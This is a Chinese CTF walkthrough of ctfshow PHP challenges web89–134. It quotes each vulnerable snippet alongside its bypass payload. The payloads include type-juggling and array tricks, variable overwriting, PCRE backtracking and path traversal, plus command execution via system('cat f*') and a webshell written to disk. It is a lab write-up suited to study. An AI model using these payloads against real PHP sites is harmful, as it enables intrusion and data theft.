web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

正则匹配数字,利用数组转化的特性绕过匹配:

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

知识点:

intval($num,$base)函数参数,第一个参数是要转化的值,第二个是要使用的基数(默认为10),

1
2
3
4
echo intval("10");     // 输出: 10 (默认基数为10,十进制)
echo intval("10", 2); // 输出: 2 (二进制)
echo intval("0x10",0); // 输出: 16 (十六进制)
echo intval("010",0); // 输出: 8 (八进制)

参数为0,表示跟据字符串进行识别进制,如果有不能识别的字符串,则一贯为0,例如“abc123”

1
playload=?num=0x117C

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

考察正则表达式(复习一下)

/i:表示不区分大小写

/m:表示多行匹配

-g:全局匹配

-s:包含换行符

1
playload=?cmd=%0aphp

%0a:是换行的url编码

web92

额…跟web90一样的题

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

过滤了字母A-Z和a-z,所以采用八进制进行转化

1
playload=?num=010574

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos()函数要求匹配字符串中出现0,但是使用?num=010574不行,大概会自动去除前面的0后再匹配吧

使用小数进行绕过

1
?num=4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

在字符串前面加上+或者 ,在strpos可以匹配到0,在intval仍被当作010574进行转化。

1
?num=%2b010574或者?num=%20010574

web96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}

使用相对路径即可,

?u=./flag.php

使用过滤器也是可以,但是这里考察php特性

web97

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5强比较,使用数组即可

a[]=1&b[]=2

web98

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

第一行代码只要使用get方法,可以将post内容传递给get。

第二第三行没发现有什么用…

第四行根据第一行,post:HTTP_FLAG=flag

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

rand($min,$max)函数,array_push(),添加元素到数组。

in_array()函数弱比较漏洞,没有使用第三参数$strict,默认为False。

file_put_contents($filename,$data),基本这个两个参数,将$data写入$filename文件中。

?n=1.php

POST:content=

然后蚁剑连接或者直接访问1.php,再执行system函数

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

逻辑运算符优先级小于赋值运算符,

所以只要保证v1是数字就可以

两个正则:V2中没有分号,V3中有分号

根据提示flag在 ctfshow类中

v2=print_r($ctfshow)/*或者v2=var_dump($ctfshow)

v3=*/;

使用注释将('ctfshow')注释掉

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

利用[PHP的反射机制](PHP反射机制 - 知乎 (zhihu.com))

?v1=1&v2=echo new ReflectionClass&v3=;

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

思路:

将字符串base64编码后进行16进制转化为数字,这样就能通过is_numeric验证。

1
2
3
4
5
6
7
<?php
$a='<?=`cat *`;';
$b=base64_encode($a);
echo $b; // PD89YGNhdCAqYDs=
$c=bin2hex('PD89YGNhdCAqYDs');
echo $c; //5044383959474e6864434171594473
?>

payload:

1
2
get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

对字符串过滤了php子串

payload同上

web104

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

使用数组进行弱比较即可

​ get:v2[]=1

​ post:v1[]=1

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

一道经典的变量覆盖的题目,关于$$

核心思想就是:$key=value1

$$key=value2

$$key=$value1=value2

这个里有两个die()输出变量$error$suces利用覆盖这两个变量的值来输出flag的值。

  1. $error=$flag

get:a=flag // $a=$flag

post:error=a //$error=$a=$flag

推导一遍:

1
2
3
4
5
a=flag  //$key=a,$value=flag
$$key=$a
$$value=$flag
因为$$ket=$$value
所有$a=$flag
  1. $suces=$flag

get:suces=flag

post:flag=

1
2
3
get=> $suces=$flag
post=> $flag=
所以$flag的值修改为空,if条件一定成立

web106

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

payload同web104

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}

parse_str()将字符串解析成多个变量:

1
2
3
4
5
6
7
8
9
10
<?php
parse_str("name=chenlong&passwd=123",$array);
print_r($array);
?>
输出
Array
(
[name] => chenlong
[passwd] => 123
)

get:v3=flag

post:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc

web108

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg函数:(在php5.3版本已经废弃)

1
2
3
bool ereg(string $pattern, string $string [, array &$regs])
$pattern:要匹配的正则表达式模式。
$string:要在其中搜索匹配的字符串。

存在%00截断,$string为数组是,不会返回false

?c=a%00778

web 109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

使用反射机制

?v1=Reflectionclass&v2=system(‘cat f*’)

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

使用FilesystemIterator获取目录

getcwd()获取当前工作目录

v1=FilesystemIterator&v2=getcwd

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

利用全局变量$GLOBALS

v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

注:is_file()函数对php伪协议不认为是文件

利用php伪协议

直接读取

?file=php://filter/read/resource=flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

比起上一题过滤了filter字符串

使用compress.zlib读取压缩流

​ file=compress.zlib://flag.php

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

要使用多次/proc/self/root绕过is_file(),不然不成功

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

没有过滤filter

?file=php://filter/read/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

直接上脚本跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for($i=0;$i<=128;$i++)
{
$num=chr($i).'36';
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
{
echo $i;
}
}

输出i=12

?num=%0c36

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

注:[$_SERVER[‘argv’]](PHP: $_SERVER - Manual)

1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数.跟C语言的main参数一样

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

利用这个特点,可以构造:

post:CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])

get:1=flag.php

web126

1
2
3
4
5
6
7
8
9
10
11
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

过滤了字符i,highlight不行。

使用eval

post:CTF_SHOW=6&CTF[SHOW.COM=6&fun=eval($a[0])

get:$f10g=flag_give_me;

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

extract($_GET);的变量覆盖问题

只要get传入ctf_show==='ilove36d'即可,但是过了下划线

这里利用php传参中点、+、空格、左中括号自动转化为下划线

这题只有空格没过滤

?ctf%20show=ilove36d

web129

1
2
3
4
5
6
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos(string $haystack, string $needle, int $offset = 0): int|false

1
2
3
4
5
参数:

$haystack:输入字符串,需要在其中查找子串。
$needle:要查找的子串。
$offset(可选):搜索的起始位置,默认为 0。

要匹配有子串ctfshow的文件

readfile()可以使用伪协议读取

?f=php://filter/ctfshow/resource=flag.php

查看源码即可

或者使用文件穿越读取

f1=/ctfshow/../../../../var/www/html/flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

pre_match不识别数组,会返回false,stripos也是

f=ctfshow[]

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

利用[回溯次数绕过](PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)),如果超过了回溯次数,preg_march()会返回false

一般情况最大回溯为100百万个字符

1
2
3
4
5
6
7
8
import requests

url='http://b2550b9c-06e6-40d1-b993-17381096c9be.challenge.ctf.show/'
data={
'f':'vary'*250000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web132

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

只要设置$username=’admin’和code=‘admin’即可

web134

1
2
3
4
5
6
7
8
9
10
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。extract() 函数将数组中的键值当作变量名。

?_POST[key1]=36d&_POST[key2]=36d